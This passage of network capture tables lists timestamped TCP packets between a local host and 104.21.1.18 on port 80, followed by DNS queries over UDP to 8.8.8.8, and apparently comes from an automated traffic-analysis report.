Oct 3, 2023 09:55:53.470120907 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470149040 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470153093 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470185995 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470199108 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470247030 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470274925 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470309973 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470340967 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470367908 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470372915 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470403910 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470406055 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470483065 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470524073 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470557928 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470582962 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470591068 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470623970 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470643044 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470659018 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470679045 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470691919 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470724106 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470753908 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470757008 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470791101 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470808983 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470824003 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470839024 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470889091 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.470947027 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.470952988 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471004963 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.471014977 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471076965 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471137047 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.471164942 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471199036 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471219063 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.471326113 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471374035 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.471458912 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471517086 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.471519947 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471553087 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471607924 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.471664906 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471703053 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471724987 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.471765995 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471798897 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471823931 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.471829891 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471863985 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.471900940 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.471920967 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.471950054 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472007990 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472042084 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472060919 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472074986 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472089052 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472138882 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472172976 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472192049 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472206116 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472222090 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472266912 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472321033 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472362995 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472436905 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472440958 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472470045 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472501993 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472523928 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472562075 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472568989 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472636938 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472670078 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472697973 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472703934 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472738028 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472769976 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472784042 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472803116 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472820044 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472836018 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472865105 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472914934 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472914934 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472949982 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.472975016 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.472981930 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.473011971 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.473014116 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.473047972 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.477979898 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.478045940 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.563594103 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.563684940 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.563683987 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.563743114 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.564501047 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.564537048 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.564565897 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.564593077 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.564862967 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.564934969 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565100908 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565110922 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565155983 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565202951 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565253019 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565313101 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565373898 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565407038 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565439939 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565445900 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565495968 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565531969 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565565109 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565596104 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565597057 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565620899 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565629959 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565658092 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565685987 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565697908 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565732956 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565763950 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565768957 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565792084 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565835953 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565870047 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565872908 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565903902 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.565927982 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.565949917 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.566009045 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.566023111 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.566114902 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:53.566358089 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.566469908 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.566514969 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.566546917 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.566579103 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.567604065 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.567639112 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.567682981 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.567713976 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.567744970 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.567775965 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.567807913 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.567838907 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.567873001 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.567915916 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.567946911 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.567977905 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568010092 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568043947 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568057060 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568089008 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568120956 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568152905 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568183899 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568229914 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568262100 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568294048 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568325043 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568356991 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568387985 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568433046 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568463087 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568495035 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568525076 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.568556070 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.569596052 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.573436022 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.662564993 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.662621021 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.662653923 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.662688971 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.662722111 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.662753105 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.662785053 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.662815094 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.662852049 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.662884951 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.662916899 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.662947893 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.662980080 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.663011074 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.663042068 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.663073063 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.663130999 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.663193941 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.663254976 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.663290024 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.663322926 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.663387060 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.663419962 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.663516045 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:53.663549900 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:58.631050110 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:58.631076097 CEST	80	49925	104.21.1.18	192.168.2.3
Oct 3, 2023 09:55:58.631302118 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:55:58.633318901 CEST	49925	80	192.168.2.3	104.21.1.18
Oct 3, 2023 09:56:01.368767977 CEST	49855	80	192.168.2.3	104.21.1.18

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2023 09:54:19.376132011 CEST	50598	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:54:19.807312965 CEST	53	50598	8.8.8.8	192.168.2.3
Oct 3, 2023 09:54:21.231211901 CEST	63088	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:54:21.617263079 CEST	53	63088	8.8.8.8	192.168.2.3
Oct 3, 2023 09:54:22.587459087 CEST	52726	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:54:22.693098068 CEST	53	52726	8.8.8.8	192.168.2.3
Oct 3, 2023 09:54:23.667918921 CEST	65279	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:54:23.906943083 CEST	53	65279	8.8.8.8	192.168.2.3
Oct 3, 2023 09:54:25.400300980 CEST	52643	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:54:25.506962061 CEST	53	52643	8.8.8.8	192.168.2.3
Oct 3, 2023 09:54:26.528430939 CEST	54711	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:54:26.634489059 CEST	53	54711	8.8.8.8	192.168.2.3
Oct 3, 2023 09:54:28.586168051 CEST	58538	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:54:28.977442980 CEST	53	58538	8.8.8.8	192.168.2.3
Oct 3, 2023 09:54:29.721860886 CEST	54723	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:54:30.047101974 CEST	53	54723	8.8.8.8	192.168.2.3
Oct 3, 2023 09:54:31.276496887 CEST	58663	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:54:31.730473995 CEST	53	58663	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:04.060362101 CEST	54477	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:04.166026115 CEST	53	54477	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:05.121788025 CEST	58283	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:05.228233099 CEST	53	58283	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:06.696429014 CEST	65520	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:07.038897991 CEST	53	65520	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:10.839030027 CEST	58131	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:10.944413900 CEST	53	58131	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:11.601315022 CEST	60038	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:11.847640038 CEST	53	60038	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:11.915206909 CEST	56570	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:12.028397083 CEST	53	56570	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:12.172215939 CEST	49204	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:12.277978897 CEST	53	49204	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:12.494259119 CEST	51313	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:12.599880934 CEST	53	51313	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:13.173104048 CEST	58935	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:13.282676935 CEST	53	58935	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:13.716542006 CEST	58300	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:13.821806908 CEST	53	58300	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:14.398099899 CEST	57315	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:14.510869026 CEST	53	57315	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:15.299715996 CEST	49650	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:15.412400007 CEST	53	49650	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:15.842964888 CEST	59274	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:15.948472023 CEST	53	59274	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:16.801752090 CEST	55154	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:16.907373905 CEST	53	55154	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:17.665730000 CEST	55985	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:17.778377056 CEST	53	55985	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:18.070851088 CEST	54461	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:18.179146051 CEST	53	54461	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:18.244374037 CEST	57309	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:18.363257885 CEST	53	57309	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:18.805826902 CEST	60705	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:18.911356926 CEST	53	60705	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:19.445000887 CEST	51582	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:19.558413029 CEST	53	51582	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:19.567414045 CEST	55260	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:19.675420046 CEST	53	55260	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:19.992815018 CEST	58825	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:20.113327980 CEST	53	58825	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:20.239548922 CEST	59084	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:20.347726107 CEST	53	59084	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:20.746543884 CEST	62011	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:20.859746933 CEST	53	62011	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:21.289602995 CEST	62877	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:21.354202986 CEST	61662	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:21.402916908 CEST	53	62877	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:21.462615013 CEST	53	61662	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:21.939672947 CEST	56410	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:22.045336008 CEST	53	56410	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:22.364249945 CEST	54238	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:22.469707966 CEST	53	54238	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:22.529767990 CEST	54377	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:22.635590076 CEST	53	54377	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:22.903172970 CEST	56222	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:23.014930010 CEST	53	56222	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:23.072477102 CEST	50709	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:23.181235075 CEST	53	50709	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:23.584959984 CEST	49727	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:23.678723097 CEST	54144	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:23.690687895 CEST	53	49727	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:23.784531116 CEST	53	54144	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:24.112777948 CEST	60675	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:24.222821951 CEST	53	60675	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:24.237315893 CEST	63890	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:24.349270105 CEST	53	63890	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:24.566416025 CEST	62549	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:24.674904108 CEST	53	62549	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:24.777072906 CEST	56454	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:24.887358904 CEST	53	56454	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:25.113428116 CEST	60448	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:25.219521046 CEST	53	60448	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:25.595415115 CEST	53219	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:25.696755886 CEST	53	53219	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:25.703486919 CEST	52859	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:25.813055038 CEST	53	52859	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:26.308640003 CEST	58169	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:26.420981884 CEST	53	58169	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:26.610908031 CEST	56093	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:26.716892958 CEST	53	56093	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:26.957942963 CEST	61714	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:27.064409971 CEST	53	61714	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:27.155711889 CEST	61693	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:27.261826992 CEST	53	61693	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:27.498208046 CEST	55448	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:27.604238987 CEST	53	55448	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:27.890290022 CEST	49608	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:27.996993065 CEST	53	49608	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:28.092936993 CEST	63384	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:28.198657990 CEST	53	63384	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:28.364608049 CEST	57483	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:28.470315933 CEST	53	57483	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:28.684962988 CEST	53221	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:28.791251898 CEST	53	53221	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:28.903490067 CEST	63351	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:29.009104013 CEST	53	63351	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:29.286057949 CEST	57351	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:29.359997988 CEST	52789	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:29.399643898 CEST	53	57351	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:29.465882063 CEST	53	52789	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:29.873977900 CEST	58401	53	192.168.2.3	8.8.8.8
Oct 3, 2023 09:55:29.980228901 CEST	53	58401	8.8.8.8	192.168.2.3
Oct 3, 2023 09:55:30.468385935 CEST	49311	53	192.168.2.3	8.8.8.8
